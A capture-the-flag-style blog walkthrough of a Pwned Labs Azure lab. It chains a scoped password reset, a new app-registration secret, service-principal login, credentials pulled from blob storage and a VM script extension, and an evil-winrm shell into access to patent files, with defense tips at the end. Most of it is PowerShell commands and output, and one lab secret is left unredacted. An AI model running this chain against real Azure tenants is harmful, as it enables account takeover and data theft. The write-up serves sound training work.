Post

Execute Azure Credential Shuffle to Achieve Objectives

Execute Azure Credential Shuffle to Achieve Objectives

Scenario

After gaining initial access, your red team found credentials in the connection string of a compromised Azure Web App. You have been tasked with gaining further access to Mega Big Tech’s Azure environment, and achieving the objectives of the engagement by accessing sensitive data.

Mega Big Tech will begin rolling out their own External Authentication Provider to reduce yearly operating costs. However, threat actors have already compromised the custom provider and altered its configuration. As a result, any Multifactor Authentication (MFA) challenge will now automatically return as successful, ultimately satisfying any Conditional Access Policy (CAP) that requires the standalone-MFA grant control (as opposed to the Authentication Strength-MFA grant control).

Walkthrough

Authenticate using given credentials

1
2
3
4
5
6
7
8
9
10
11
12
13
└─PS> Connect-AzAccount -AccountId "dbuser@megabigtech.com"
Please select the account you want to login with.

Retrieving subscriptions for the selection...

[Announcements]
With the new Azure PowerShell login experience, you can select the subscription you want to use more easily. Learn more about it and its configuration at https://go.microsoft.com/fwlink/?linkid=2271909.

If you encounter any problem, please open an issue at: https://aka.ms/azpsissue

Subscription name           Tenant
-----------------           ------
Microsoft Azure Sponsorship Default Directory
1
2
3
4
5
6
7
8
9
└─PS> connect-MgGraph
Welcome to Microsoft Graph!

Connected via delegated access using 14d82eec-204b-4c2f-b7e8-296a70dab67e
Readme: https://aka.ms/graph/sdk/powershell
SDK Docs: https://aka.ms/graph/sdk/powershell/docs
API Docs: https://aka.ms/graph/docs

NOTE: You can use the -NoWelcome parameter to suppress this message.

Let’s check if the user belongs to a security group or if a directory role has been assigned

1
2
3
4
5
6
7
└─PS> Get-MgUserMemberOf -UserId dbuser@megabigtech.com | select * -ExpandProperty additionalProperties | Select-Object {$_.AdditionalProperties["displayName"]}

$_.AdditionalProperties["displayName"]
--------------------------------------
Default Directory
Yolo-MFA

Nothing interesting. It’s a good idea to check if there are administrative units and if any roles assigned at this level. According to Microsoft documentation “Administrative units restrict permissions in a role to any portion of your organization that you define. You could, for example, use administrative units to delegate the Helpdesk Administrator role to regional support specialists, so they can manage users only in the region that they support”. In terms of Active Directory, this sounds similar to the purpose of Organizational Units (OUs).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─PS> Get-MgDirectoryAdministrativeUnit | fl                                                                                                                                                                                                

DeletedDateTime               : 
Description                   : Scope to manage the authentication settings for the users belonging to the project.
DisplayName                   : Megabigtech-UNIT1
Extensions                    : 
Id                            : 47e4803e-a5ef-4ebc-b967-691815870abd
IsMemberManagementRestricted  : False
Members                       : 
MembershipRule                : 
MembershipRuleProcessingState : 
MembershipType                : 
ScopedRoleMembers             : 
Visibility                    : 
AdditionalProperties          : {}
<SNIP>

Let’s check if any Entra ID users have been assigned a role scoped to this administrative unit. And it shows our current user

1
2
3
4
5
└─PS> Get-MgDirectoryAdministrativeUnitScopedRoleMember -AdministrativeUnitId 47e4803e-a5ef-4ebc-b967-691815870abd | Select-Object roleMemberInfo,roleId -ExpandProperty roleMemberInfo

DisplayName Id
----------- --
dbuser      c25a3a89-a504-4b80-9b67-8219da75ef59

Let’s see what role were assigned.

1
2
3
4
5
6
7
8
└─PS> Get-MgDirectoryAdministrativeUnitScopedRoleMember -AdministrativeUnitId 47e4803e-a5ef-4ebc-b967-691815870abd | fl

AdministrativeUnitId : 47e4803e-a5ef-4ebc-b967-691815870abd
Id                   : t3O2zIerwE-HxTl1GgSVOT6A5EfvpbxOuWdpGBWHCr2JOlrCBKWAS5tnghnade9ZU
RoleId               : ccb673b7-ab87-4fc0-87c5-39751a049539
RoleMemberInfo       : Microsoft.Graph.PowerShell.Models.MicrosoftGraphIdentity
AdditionalProperties : {}

Now let’s retrieve which role the RoleId: ccb673b7-ab87-4fc0-87c5-39751a049539 corresponds to.

1
2
3
$roleId = "ccb673b7-ab87-4fc0-87c5-39751a049539"
$directoryRoles = Get-MgDirectoryRole | Where-Object { $_.Id -eq $roleId }
$directoryRoles | Format-List *
1
2
3
4
5
6
7
8
9
10
└─PS> $directoryRoles | Format-List *

DeletedDateTime      : 
Description          : Allowed to view, set and reset authentication method information for any non-admin user.
DisplayName          : Authentication Administrator
Id                   : ccb673b7-ab87-4fc0-87c5-39751a049539
Members              : 
RoleTemplateId       : c4e39bd9-1100-46d3-8c65-fb160da0071f
ScopedMembers        : 
AdditionalProperties : {}

The Microsoft documentation reveals that this is a privileged role that has the ability to set passwords for non-administrators. It’s not possible to get the value of user passwords in Azure. Let’s query members of the administrative unit.

1
2
3
4
5
6
7
8
9
10
11
12
└─PS> Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId 47e4803e-a5ef-4ebc-b967-691815870abd | Select * -ExpandProperty additionalProperties                                                                                    

Key               Value
---               -----
@odata.type       #microsoft.graph.user
businessPhones    {}
displayName       Daiki Hiroko
givenName         Daiki
jobTitle          Mid Developer
surname           Hiroko
userPrincipalName Daiki.Hiroko@megabigtech.com

Bsaed on that, the user dbuser@megabigtech.com has been assigned the Authentication Administrator role at the level of the administrative unit Megabigtech-UNIT1, and we know that Daiki.Hiroko@megabigtech.com is member of this administrative unit. This means that as dbuser we are able to change the password for Daiki Hiroko. Let’s set a new password for Daiki Hiroko. Note that this is a disruptive action and not the best opsec, and should only be attempted if there are no alternative paths.

1
2
3
4
5
$passwordProfile = @{
    forceChangePasswordNextSignIn = $false
    forceChangePasswordNextSignInWithMfa = $false
    password = "Password12345!!"
}
1
└─PS> Update-MgUser -UserId 'Daiki.Hiroko@megabigtech.com' -PasswordProfile $passwordProfile

Authenticate as Daiki.Hiroko@megabigtech.com

1
2
Connect-MgGraph
Connect-AzAccount

Let’s enumerate with our new user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└─PS> Get-MgUserOwnedObject -UserId Daiki.Hiroko@megabigtech.com | Select * -ExpandProperty additionalProperties

Key                               Value
---                               -----
@odata.type                       #microsoft.graph.application
appId                             3626d80c-9f3b-48f9-a445-65a1ad9129af
createdDateTime                   2023-12-17T02:22:46Z
displayName                       daiki-appspn
identifierUris                    {}
publisherDomain                   megabigtech.com
signInAudience                    AzureADMyOrg
tags                              {}
addIns                            {}
api                               {[knownClientApplications, System.Object[]], [oauth2PermissionScopes, System.Object[]], [preAuthorizedApplications, System.Object[]]}
appRoles                          {}
info                              {}
keyCredentials                    {}
parentalControlSettings           {[countriesBlockedForMinors, System.Object[]], [legalAgeGroupRule, Allow]}
passwordCredentials               {System.Collections.Generic.Dictionary`2[System.String,System.Object], System.Collections.Generic.Dictionary`2[System.String,System.Object], System.Collections.Generic.Dictionary`2[System.String,Syste…
publicClient                      {[redirectUris, System.Object[]]}
requiredResourceAccess            {System.Collections.Generic.Dictionary`2[System.String,System.Object]}
verifiedPublisher                 {}
web                               {[redirectUris, System.Object[]], [implicitGrantSettings, System.Collections.Generic.Dictionary`2[System.String,System.Object]], [redirectUriSettings, System.Object[]]}
servicePrincipalLockConfiguration {[isEnabled, True], [allProperties, True], [credentialsWithUsageVerify, True], [credentialsWithUsageSign, True]…}
spa                               {[redirectUris, System.Object[]]}


This reveals that they own an application named daiki-appspn, which gives them control over the service principal associated with the app. When registering an application in Azure AD, a service principal is automatically created in the tenant. Think of service principals like well-known service accounts, those accounts will be an special kind of identity in our tenant that we can assign RBAC roles in the subscription. An example scenario will be a web application that is using a managed identity, which is a special kind of service principal. This identity can be assigned a Role to access to other back end resources such as storage accounts, key vaults and databases.

Service principals have versatile authentication options, allowing the use of either secrets or certificates. Users holding the application administrator role or service principal owners possess the ability to introduce new secrets (application passwords) or certificates. In this scenario, it is beneficial since adding new secrets does not disrupt functionality. Additionally, service principals, unlike typical users, are excluded from multi-factor authentication (MFA) and undergo less monitoring and scrutiny.

We can use the Microsoft Graph cmdlets to add a new secret to the service principal

1
2
3
4
5
6
7
8
9
10
11
12
#$userId = (Get-MgUser -Filter "userPrincipalName eq 'Daiki.Hiroko@megabigtech.com'").Id
$appId = (Get-MgUserOwnedObject -UserId "01cefafa-a156-46ec-9b0c-ce6b625144a2").Id  

$passwordCred = @{
   displayName = 'Created in PowerShell'
}

# Create a new password credential
$newPassword = Add-MgApplicationPassword -applicationId $appId -PasswordCredential $passwordCred

# print the password
$newPassword.SecretText

It worked

1
2
└─PS> $newPassword.SecretText
<REDACTED>

Authenticate as the service principal. Set the app secret value below with the secretText value from the command above.

1
2
3
4
5
$appsecret = ConvertTo-SecureString "sdM8Q~j3GoOfi4qska.OOmyDwACV9Dqajn0FEb7-" -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('3626d80c-9f3b-48f9-a445-65a1ad9129af',$appsecret) 

Connect-AzAccount -ServicePrincipal -Credential $cred -Tenant '2590ccef-687d-493b-ae8d-441cbab63a72' 

After getting a new PowerShell Az session we can start the process of enumeration.First step to check the resources that are accessible to the service principal and listing any RBAC roles that may be assigned to them.

1
└─PS> Get-AzResource
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
└─PS> Get-AzRoleAssignment

RoleAssignmentName : eb32db72-fea7-40be-b2b0-2354dceac4e6
RoleAssignmentId   : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourcegroups/mbt-rg-1/providers/Microsoft.Storage/storageAccounts/storageqaenv/blobServices/default/containers/general-purpose/providers/Microsoft.Authorization
                     /roleAssignments/eb32db72-fea7-40be-b2b0-2354dceac4e6
Scope              : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourcegroups/mbt-rg-1/providers/Microsoft.Storage/storageAccounts/storageqaenv/blobServices/default/containers/general-purpose
DisplayName        : daiki-appspn
SignInName         : 
RoleDefinitionName : Reader
RoleDefinitionId   : acdd72a7-3385-48ef-bd42-f606fba81ae7
ObjectId           : f92ac1b8-937e-4cb1-8555-572c57e00331
ObjectType         : ServicePrincipal
CanDelegate        : False
Description        : 
ConditionVersion   : 
Condition          : 

RoleAssignmentName : 841dacca-616b-46e8-8086-8559aa0ba013
RoleAssignmentId   : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourcegroups/mbt-rg-1/providers/Microsoft.Storage/storageAccounts/storageqaenv/blobServices/default/containers/general-purpose/providers/Microsoft.Authorization
                     /roleAssignments/841dacca-616b-46e8-8086-8559aa0ba013
Scope              : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourcegroups/mbt-rg-1/providers/Microsoft.Storage/storageAccounts/storageqaenv/blobServices/default/containers/general-purpose
DisplayName        : daiki-appspn
SignInName         : 
RoleDefinitionName : Storage Blob Data Reader
RoleDefinitionId   : 2a2b9908-6ea1-4ae2-8e65-a410df84e7d1
ObjectId           : f92ac1b8-937e-4cb1-8555-572c57e00331
ObjectType         : ServicePrincipal
CanDelegate        : False
Description        : 
ConditionVersion   : 
Condition          : 

No resources, but we have the Reader and Storage Blob Data Reader roles scoped to the general-purpose storage container within a storage account. The reason why Get-AzResource didn’t return these resources, is because Get-AzResource returns a resource only when the caller’s role assignment includes the ARM action Microsoft.Resources/subscriptions/resourceGroups/read (present in roles like Reader or Contributor) at the resource’s scope or any parent ARM scope. Assignments that are limited to data-plane scopes such as a blob container, or roles like Storage Blob Data Reader, lack this action and therefore prevent the resource from appearing.

Let’s see the permissions that the Storage Blob Data Reader role has

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─PS> Get-AzRoleDefinition -Name "Storage Blob Data Reader"                                                                                                                                                                                 

Name             : Storage Blob Data Reader
Id               : 2a2b9908-6ea1-4ae2-8e65-a410df84e7d1
IsCustom         : False
Description      : Allows for read access to Azure Storage blob containers and data
Actions          : {Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/blobServices/generateUserDelegationKey/action}
NotActions       : {}
DataActions      : {Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read}
NotDataActions   : {}
AssignableScopes : {/}
Condition        : 
ConditionVersion : 

Permissions in Azure are defined as Actions for the control plane and DataActions for the data plane. We manage resources through the control plane and then interact with the resource (such as querying, reading and writing data) through data plane operations.

In this case we can list and read blobs from the general-purpose container

1
2
3
$context = New-AzStorageContext -StorageAccountName storageqaenv
$containername = (Get-AzStorageContainer -Context $context -Name general-purpose).name
Get-AzStorageBlob -Container $containername -Context $context
1
2
3
4
5
6
7
8
9
10
└─PS> Get-AzStorageBlob -Container $containername -Context $context
                                                                                                                        
   AccountName: storageqaenv, ContainerName: general-purpose                                                            
                                                                                                                        
Name                 BlobType  Length          ContentType                    LastModified         AccessTier SnapshotTime                 IsDeleted  VersionId
----                 --------  ------          -----------                    ------------         ---------- ------------                 ---------  ---------
Dev-cred.txt         BlockBlob 348             text/plain                     2023-12-19 05:10:07Z Hot                                     False      
Release_Notes.txt    BlockBlob 219             text/plain                     2023-12-17 03:55:14Z Hot                                     False      
Terms and Condition… BlockBlob 354             text/plain                     2023-12-17 03:55:14Z Hot                                     False      
meeting_minutes.txt  BlockBlob 308             text/plain                     2023-12-17 03:41:45Z Hot                                     False      

Let’s download Dev-cred.txt blob

1
2
3
4
5
6
7
└─PS> Get-AzStorageBlobContent -Container $containerName -Blob Dev-cred.txt -Context $context                                                                                                                                               
                                                                                                                        
   AccountName: storageqaenv, ContainerName: general-purpose                                                            
                                                                                                                        
Name                 BlobType  Length          ContentType                    LastModified         AccessTier SnapshotTime                 IsDeleted  VersionId
----                 --------  ------          -----------                    ------------         ---------- ------------                 ---------  ---------
Dev-cred.txt         BlockBlob 348             text/plain                     2023-12-19 05:10:07Z Hot                                     False      

It contains credentials to establish a PowerShell Remoting session on the virtual machine as de`vuser

1
2
3
4
5
6
7
8
└─PS> cat ./Dev-cred.txt

# credentials for the DEV team
$passw = ConvertTo-SecureString "<REDACTED>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('devuser',$passw)

$vm = New-PSSession -ComputerName 172.191.90.57 -Credential $cred -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession -Session $vm

Let’s connect to VM using new credentials via evil-winrm (we could also connect via ssh since port scan showed that SSH was open)

1
2
3
4
5
6
7
8
9
10
11
└─$ evil-winrm -i 172.191.90.57 -u devuser -p '<REDACTED>'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\devuser\Documents> 

We are unprivileged user and theres nothing interesting returned from PrivescCheck

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\devuser\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Let’s also query the metadata service that exists on Azure VMs, which is a RESTful web service available at the well-known link-local IP address 169.254.169.254

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\devuser\Documents> Invoke-RestMethod -Headers @{"Metadata"="true"} -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | fl *


compute : @{azEnvironment=AzurePublicCloud; customData=; evictionPolicy=; isHostCompatibilityLayerVm=true; licenseType=; location=eastus; name=DevTeamVM; offer=WindowsServer; osProfile=; osType=Windows; placementGroupId=; plan=;
          platformFaultDomain=0; platformUpdateDomain=0; priority=; provider=Microsoft.Compute; publicKeys=System.Object[]; publisher=MicrosoftWindowsServer; resourceGroupName=MBT-RG-1;
          resourceId=/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/MBT-RG-1/providers/Microsoft.Compute/virtualMachines/DevTeamVM; securityProfile=; sku=2019-datacenter-gensecond; storageProfile=;
          subscriptionId=ceff06cb-e29d-4486-a3ae-eaaec5689f94; tags=; tagsList=System.Object[]; userData=; version=17763.5206.231202; vmId=b79a006b-2442-495b-b3ba-2e5b56387957; vmScaleSetName=; vmSize=Standard_B2s; zone=}
network : @{interface=System.Object[]}

When given access to Azure VM, it’s also useful to check for the presence of a custom script extension. Azure offers a wide range of virtual machine extensions designed to streamline post-deployment tasks on VMs. These tasks cover various activities such as anti-virus deployment, VM configuration, as well as application deployment and monitoring. One notable extension in this suite is the Custom Script Extension.

The Custom Script Extension can download and execute a script from a user-specified location such as blob storage. While they are commonly used for one-time setup tasks, such as installing server components, the extension allows for running any arbitrary scripts, enabling admins to perform virtually any desired action. What makes this an attractive attack vector is that the extension run the scrips as SYSTEM on the VM.

It’s worth noting that these scripts are stored in a well-known location, and that this location is also accessible by unprivileged users. Scripts are worth checking out as they may revel interesting data such as other resources to explore, or even credentials used to perform actions on other systems.

1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\devuser\Documents> ls C:\Packages\Plugins\Microsoft.Compute.CustomScriptExtension\


    Directory: C:\Packages\Plugins\Microsoft.Compute.CustomScriptExtension


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       12/18/2023  11:10 PM                1.10.15

Inside we find the script customextensiontext.ps1, which contains hardcoded credentials

1
2
3
4
5
*Evil-WinRM* PS C:\Packages\Plugins\Microsoft.Compute.CustomScriptExtension\1.10.15\Downloads\0> cat customextensiontest.ps1
$passwd = ConvertTo-SecureString "<REDACTED>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('serveruser',$passwd)
$PSSession1 =  New-PSSession -ComputerName 192.168.10.8 -Credential $cred -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Copy-Item -FromSession $PSSession1 -Path C:\server\serversetup.exe -Destination \C:\server\serversetup.exe –Verbose

We don’t see a serveruser account in the VM. We also can’t connect to the VM as the user edrian with found password, and the remote machine in the script (IP address 192.168.10.8) is also not accessible.

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Packages\Plugins\Microsoft.Compute.CustomScriptExtension\1.10.15\Downloads\0> net users

User accounts for \\

-------------------------------------------------------------------------------
DefaultAccount           devuser                  edrian
Guest                    sshd                     WDAGUtilityAccount
The command completed with one or more errors.

Let’s check if a serveruser user account exists in the tenant (adding the megabigtech.com domain), and test using the password we found. We successfully authenticate as a serveruser user account

1
2
3
4
5
6
7
8
9
10
11
12
13
└─PS> connect-AzAccount -AccountId 'serveruser@megabigtech.com'                                                                                                                                                                             
Please select the account you want to login with.

Retrieving subscriptions for the selection...

[Announcements]
With the new Azure PowerShell login experience, you can select the subscription you want to use more easily. Learn more about it and its configuration at https://go.microsoft.com/fwlink/?linkid=2271909.

If you encounter any problem, please open an issue at: https://aka.ms/azpsissue

Subscription name           Tenant
-----------------           ------
Microsoft Azure Sponsorship Default Directory

Our new user has access to the storage account named storageqaenv

1
2
3
4
5
6
7
8
9
└─PS> Get-AzResource 

Name              : storageqaenv
ResourceGroupName : mbt-rg-1
ResourceType      : Microsoft.Storage/storageAccounts
Location          : eastus
ResourceId        : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-1/providers/Microsoft.Storage/storageAccounts/storageqaenv
Tags              : 

Our current user has been assigned the Reader and Storage Blob Data Reader roles scoped to the storage account account

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
└─PS> Get-AzRoleAssignment -SignInName serveruser@megabigtech.com                                                                                                                                                                           

RoleAssignmentName : ef3e6d33-a06f-4ac3-b0dc-f3dc9447cc37
RoleAssignmentId   : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-1/providers/Microsoft.Storage/storageAccounts/storageqaenv/providers/Microsoft.Authorization/roleAssignments/ef3e6d33-a06f-4ac3-b0dc-f3dc944
                     7cc37
Scope              : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-1/providers/Microsoft.Storage/storageAccounts/storageqaenv
DisplayName        : serveruser
SignInName         : serveruser@megabigtech.com
RoleDefinitionName : Storage Blob Data Reader
RoleDefinitionId   : 2a2b9908-6ea1-4ae2-8e65-a410df84e7d1
ObjectId           : b6041627-3894-4c04-94cc-6909aad9db25
ObjectType         : User
CanDelegate        : False
Description        : 
ConditionVersion   : 
Condition          : 

RoleAssignmentName : c570397c-1412-4728-adc9-ed6cd81af263
RoleAssignmentId   : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-1/providers/Microsoft.Storage/storageAccounts/storageqaenv/providers/Microsoft.Authorization/roleAssignments/c570397c-1412-4728-adc9-ed6cd81
                     af263
Scope              : /subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-1/providers/Microsoft.Storage/storageAccounts/storageqaenv
DisplayName        : serveruser
SignInName         : serveruser@megabigtech.com
RoleDefinitionName : Reader
RoleDefinitionId   : acdd72a7-3385-48ef-bd42-f606fba81ae7
ObjectId           : b6041627-3894-4c04-94cc-6909aad9db25
ObjectType         : User
CanDelegate        : False
Description        : 
ConditionVersion   : 
Condition          : 

Seems like we have gained access to additional storage containers

1
2
$context = New-AzStorageContext -StorageAccountName storageqaenv
Get-AzStorageContainer -Context $context
1
2
3
4
5
6
7
8
9
└─PS> Get-AzStorageContainer -Context $context                                                                                                                                                                                              

   Storage Account Name: storageqaenv

Name                 PublicAccess         LastModified                   IsDeleted  VersionId
----                 ------------         ------------                   ---------  ---------
general-purpose                           12/17/2023 2:53:12 AM +00:00              
patent-documents                          12/17/2023 4:12:44 AM +00:00              
server-files                              12/18/2023 11:08:26 PM +00:00             

Our goal was trying to access sensitive data belonging to Mega Big Tech, the patent-documents storage container seems to have what we are looking for. Let’s list the available blobs within this container.

1
2
3
4
5
6
7
8
└─PS> Get-AzStorageBlob -Container patent-documents -Context $context
                                                                                                                        
   AccountName: storageqaenv, ContainerName: patent-documents                                                           
                                                                                                                        
Name                 BlobType  Length          ContentType                    LastModified         AccessTier SnapshotTime                 IsDeleted  VersionId
----                 --------  ------          -----------                    ------------         ---------- ------------                 ---------  ---------
Granted Patent.txt   BlockBlob 39              text/plain                     2023-12-22 14:43:40Z Hot                                     False      
          

Let’s download the sensitive data and successfully complete the lab

1
2
3
4
5
6
7
8
└─PS> Get-AzStorageBlobContent -Container patent-documents -Blob "Granted Patent.txt" -Context $context
                                                                                                                        
   AccountName: storageqaenv, ContainerName: patent-documents

Name                 BlobType  Length          ContentType                    LastModified         AccessTier SnapshotTime                 IsDeleted  VersionId
----                 --------  ------          -----------                    ------------         ---------- ------------                 ---------  ---------
Granted Patent.txt   BlockBlob 39              text/plain                     2023-12-22 14:43:40Z Hot                                     False      

Attack Path

Attack path visualization created by Mathias Persson for Pwned Labs

Defense

  • Use Azure Key Vault or a password manager, and ideally also set passwords where practical to automatically rotate instead of hardcoded credentials
    • Or store the passwords in an environment variable on the VM instead.
    • Alternatively a VM could be configured to use managed identity, which could be assigned permissions to Azure services and resources.
      • Although this could prevent lateral movement to a new user, it would still be possible to access the resources as the managed identity.
  • Restrict access to resources at the network layer
This post is licensed under CC BY 4.0 by the author.